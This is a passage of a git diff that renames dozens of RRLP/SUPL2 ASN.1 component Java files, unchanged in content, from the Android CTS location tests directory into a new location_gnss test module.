rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NAVclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NAVclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_SBASecef.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_SBASecef.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavigationModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavigationModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NeighborIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NeighborIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NumOfMeasurements.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NumOfMeasurements.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTDValue.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTDValue.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_Measurement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_Measurement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Req.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Req.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Rsp.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Rsp.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionInstruct.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionInstruct.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ProtocolError.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ProtocolError.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefLocation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefLocation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefQuality.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefQuality.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceFrame.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceFrame.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentityType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentityType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceNavModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceNavModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceRelation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceRelation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceWGS84.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceWGS84.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelDistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelDistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelativeAlt.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelativeAlt.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequestIndex.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequestIndex.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequiredResponseTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequiredResponseTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RoughRTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RoughRTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SVID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SVID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatStatus.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatStatus.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatelliteID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatelliteID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
